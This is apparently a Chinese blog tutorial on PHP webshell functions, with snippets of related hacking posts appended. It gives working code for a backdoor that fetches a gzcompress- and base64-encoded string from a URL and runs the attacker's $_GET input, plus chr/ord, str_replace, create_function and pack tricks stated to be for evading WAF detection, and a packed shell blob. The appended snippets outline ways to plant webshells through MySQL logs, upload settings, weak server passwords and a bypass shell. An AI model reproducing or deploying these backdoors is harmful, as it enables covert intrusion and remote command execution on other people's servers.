php webshell常见函数

0x1

直接在字符串变量后面加括号, 会调用这个函数:

<?php
$s = ‘system‘;
$e = ‘assert‘;
$s(‘whoami‘);
$e(‘phpinfo();‘);

0x2

执行命令常用的函数有:

system(‘命令‘)
eval(‘php code‘)
assert(‘php code‘)

这三个最常用

0x3

base64_encode/base64_decode

<?php
$b = base64_encode(‘whoami‘);
echo $b.‘<br />‘;
echo base64_decode($b).‘<br />‘;

0x4

gzcompress/gzuncompress 压缩数据

<?php
$c = gzcompress(‘whoami‘);
echo $c.‘<br>‘;
echo gzuncompress($c)."<br />";

0x5

从上面的命令执行, base64加解64编码与gz压缩, 我们可以写一个这样的后门。

先把后门压缩, 再把后门base64_encode(base64编码后防止字符原因代码出错)。

如果后门是一个php代码的话, 在最后我们可以用assert或eval执行它。

在php中, 有一个这样的函数:

file_get_contents(url)

用这个函数可以远程获取文件内容保存到变量中:

$shell = file_get_contents(‘http://localhost/shell.jpg‘)

开始测试, 从最简单例子开始。

制作gzcompress与base64_encode编码过的文件:

<?php
$c = ‘system‘;
$data = gzcompress($c);
$file_data = base64_encode($data);
echo $file_data;
fwrite(fopen(‘shell.txt‘, ‘w‘), $file_data);

这样我们就创了一个压缩后再64编码的system字符串

使用:

<?php
$c = file_get_contents(‘http://localhost/shell.txt‘);
#获取数据
$s = gzuncompress(base64_decode($c));
#解密数据

$s($_GET[session]);
#执行命令

那么问题来了, 我们为什么要转了一大圈再回来呢?

原因很简单, 就是你压缩后的数据, 有可能一些WAF并不会检测到内容存在危险。

0x6

ascii转码函数: chr/ord

<?php
$str = ‘system‘;
for($count = 0; $count < strlen($str); $count++){
    echo substr($str, $count, 1).‘~‘.ord(substr($str, $count, 1)).‘<br />‘;
}/*s~115y~121s~115t~116e~101m~109*/

0x7

str_replace字符替换函数:

<?php
$s = str_replace(‘p‘,‘‘,‘pspypsptpepmp‘);
echo $s;#system

0x8

create_fuction()创建匿名函数:

<?php
#create_function(‘参数列表‘, ‘php代码字符串‘);
$info = create_function(‘‘,‘phpinfo();‘);
$info();

0x9

pack函数

pack(‘格式‘, 十六进制字符串)

pack函数有点复杂, 但不常用, 如果你要把一个十六进制转成字符, 可以这样:

<?php
$x = bin2hex(‘system‘);
$s = PACK(‘H*‘, $x);
echo $s.‘<br />‘;
$s(‘whoami‘);

pack关键用法就是, 我们可以把一些第感的函数, 先转成16进制, 再 pack回来。

比如, create_function(‘‘, $shell)中, $shell为php code代码, 我们可以在php code中利用隐藏一些敏感函数。

<?php
$shell=PACK(‘H*‘,‘2470617373776F72643D27‘).$password.
PACK(‘H*‘,‘273B247368656C6C6E616D653D27‘).$Username.
PACK(‘H*‘,‘273B246D7975726C3D27‘).$Url.
PACK(‘H*‘,‘273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827‘).‘
eJzs/Xt3HNd5Jor/zazl71Buw2rAwqXu1UUQsOpKgheABEBSlK
iD02g0gCYaaKi7QYCi+GEczZxoHM+KJetiWzdbkmNZsi1FkmXH
yzOT8WQyk/HPcybJTJKZJLN+z7N3VXVVX0BQtpPJOoZEoLtq3/
d73+/77tb6WqdbbXfHJ2Y/8zsb9c3GXn28vHunurHRrnc65cmx
tZVo+Vq0/Hh5JVheuLy6Fi9cjBa9S1H5iXyN/Vanu18VFfjnsN
XeyL/ubNebzb3qbh3vs8/FHg/aTbwUf/misTn+yFa9u7Zb3WrU
.......

$f = create_function(‘‘, $shell);
$f();

pack用法可以参孝一下这里: perl pack

总结

创建一个gz压缩再base64编码的文件(如 logo.png), 利用file_get_contents获取。

利用str_replace/chr/ord/create_fuction函数绕过一些WAF检测。

时间: 2024-10-20 00:16:02

php webshell常见函数的相关文章

WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Webshell上传.命令注入.非法HTTP协议请求.非授权文件访问等.

新版mysql写入webshell(测试版本5.5.53)

0x01    前言 新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话 此时在mysql文件夹下的my.ini中可以设置到处路径 但是在拿shell时,不可能去修改配置文件 可以通过修改mysql的log文件来获取webshell 0x02    过程 首先进入SQL环境,执行以下SQL语句: show variables like "%general%"; 修改如上两个地方的值,其中修改log的地址为网站目录下的ph

普通权限拿webshell

普通权限拿webshell: 1.0day拿webshell:这个不多说.可以去网上搜索一些, 比如你找到你搞的网站cms是discz的,你可以搜索一些相 关0day直接拿 2.修改网站上传类型配置拿webshell:有的网站,在网站 上传类型中限制了上传脚本类型文件,我们可以通过添加 文件上传类型,如天剑 asp php jpg aspx asa来拿 webshell.(非常老的方法不过有的网站还是存在.如果 运气好可以碰到) 3.IIS写权限拿webshell:比较少见,有专门的利用工具,

小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用性较强 [但版本众多而乱,可能存在木马,据说的官网http://www.maicaidao.co/] 1.利用上传漏洞,先上传一句话木马[支持三种服务器端PHP.ASP.ASP.NET] 使用ssh连接metasploitable 创建包含木马代码的文件 2.连接相应的服务器端 添加服务器端URL [密码为一

绕过安全狗狗的WebShell for PHP

最近发现一款过狗shell,分享下... ? ? 本地搭建2008SERVER+php5+阿帕奇+网站安全狗+服务器安全狗+防护全开 测试可用... 默认密码:p0tt1 使用方法: 访问webshell页面,出现404,没关系,按p键,输入密码 或者webshell.php?password=p0tt1自定义密码在 p0tt1为设定的密码,可以自行修改. 1 <?php?define('iphp','p0tt1');define('T','H*');define('A','call');def

Tomcat、Weblogic、JBoss、GlassFish、Resin、Websphere弱口令及拿webshell方法总结 [复制链接]

1.java应用服务器    Java应用服务器主要为应用程序提供运行环境,为组件提供服务.Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器.1.1  常见的Server概述    常见的Java服务器:Tomcat.Weblogic.JBoss.GlassFish.Jetty.Resin.IBM Websphere.Bejy Tiger.Geronimo.Jonas.Jrun.Orion.TongWeb.BES Application Server.Col

用Webshell直接杀入内网

有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了. 鄙人不才,写了一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能. 架设起来也算是比较方便了.就把这个用webshell也好,上传漏洞也好,甩到对方服务器上. 然后配置一下本地的nginx,做一个反向代理+rewrite就OK. 先看代码 proxy.php <?php if(!isset($_GET['url'])){ exit(

利用网络流传的WebShell默认密码库寻找WebShell

声明:本文提到的技术,仅可用作网络安全加固等合法正当目的.本文作者无法鉴别判断读者阅读本文的真实目的,敬请读者在本国法律所允许范围内阅读本文,读者一旦因非法使用本文提到技术而违反国家相关的法律法规,所造成的一切不良后果由该读者独立承担,本文作者不负责也不承担任何直接间接或连带等法律责任.标有“以下为正文内容:”后的部分为本段所述“正文”.如果不同意.不接受以上声明,请不要阅读本文正文内容.如果阅读以下正文内容,视为充分理解并同意以上内容. 本文地址 http://www.cnblogs.com/

数据库备份拿webshell简单记录

数据库备份拿webshell主要前提是能进入到应用系统后台,并且有数据库备份功能(有点废话了)! 当我们想法设法进入到一个系统后台之后,本以为找一个文件上传的地方来上传一个webshell,但是上传点却是限制得死死的,高强度的白名单限制,各种绕过都没有成功,恰巧该系统后台中有数据库备份这个功能,此时我们可以通过数据库备份来拿webshell! 首先我们上传一个图片马,并获取到该图片的路径! 其次我们进入到数据库备份功能处,将当前的数据库路径替换为图片马的路径(如果页面不能进行修改的话,我们可以使